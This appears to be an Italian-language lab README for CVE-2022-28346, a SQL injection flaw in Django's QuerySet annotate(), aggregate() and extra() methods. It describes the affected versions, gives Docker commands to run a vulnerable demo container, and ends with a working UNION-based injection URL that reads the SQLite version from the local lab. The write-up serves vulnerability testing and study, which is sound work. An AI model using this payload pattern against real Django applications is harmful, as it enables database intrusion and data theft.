
È stata trovata una vulnerabilità nel pacchetto Django, che porta a un'iniezione SQL. Questa vulnerabilità permette a un attaccante, utilizzando un dizionario appositamente creato contenente query SQL dannose, di compromettere completamente il database.
È stato trovato un difetto nel pacchetto Django, che porta a un'iniezione SQL. Questa falla consente a un utente malintenzionato di utilizzare un dizionario appositamente creato contenente query SQL dannose per compromettere completamente il database.
Troverai sopra nel repository del codice il rapporto di analisi dettagliato (PDF) su CVE-2022-28346.
CVE-2022-28346 è una vulnerabilità critica identificata in diverse versioni di Django, un popolare framework web Python. Questa vulnerabilità colpisce specificamente le versioni di Django 2.2 precedenti alla 2.2.28, 3.2 precedenti alla 3.2.13 e 4.0 precedenti alla 4.0.4.
Il cuore del problema risiede nei metodi QuerySet.annotate(), aggregate() e extra() all'interno di Django. Questi metodi sono vulnerabili ad attacchi di iniezione SQL quando vengono utilizzati alias di colonna insieme a un dizionario appositamente creato (con espansione del dizionario) come **kwargs passati. L'iniezione SQL è un tipo di attacco che consente a un utente malintenzionato di interferire con le query che un'applicazione effettua al proprio database. Può essere utilizzata per visualizzare dati che normalmente non è in grado di recuperare, inclusi dati appartenenti ad altri utenti, o qualsiasi altro dato a cui l'applicazione stessa è in grado di accedere. In alcuni casi, un utente malintenzionato potrebbe essere in grado di modificare o eliminare questi dati, compromettendo l'integrità dei dati.
Per condurre un test approfondito di questa vulnerabilità, assicurati di avere spazio libero sufficiente sul tuo disco rigido. Sono necessari almeno 1,2 GB per eseguire con successo il test della vulnerabilità.
Se hai già installato Docker, puoi saltare questa sezione e procedere direttamente al prossimo gruppo di istruzioni.
Per iniziare a testare questa vulnerabilità, installa Docker:
Verifica che Docker sia operativo prima di passare ai passaggi successivi.
Nel tuo terminale esegui il seguente comando per ottenere l'immagine docker che abbiamo creato e inviato a DockerHub:
sudo docker pull marouanekamal/cve-2022-28346:latest

E attendi che l'immagine Docker finisca di essere scaricata. Se incontri problemi, potrebbe essere dovuto alla tua connessione internet; assicurati di avere una connessione stabile e attiva.
Dopo il completamento dell'installazione, verifica che l'immagine esista eseguendo il seguente comando:
sudo docker images

Ora puoi eseguire l'immagine docker usando il seguente comando:
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

Ora il server è in esecuzione e possiamo sfruttare questa CVE ;)
Dopo aver eseguito l'immagine docker, puoi accedere al seguente link per verificare se l'URL è accessibile:
http://0.0.0.0:8000/

La parola ok visualizzata significa che l'URL è accessibile e tutto funziona correttamente!
Ora attacchiamo questa vulnerabilità usando l'iniezione SQL. Digita il seguente URL per farlo:
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

Siamo riusciti a determinare la versione di SQLite utilizzata dal server ;)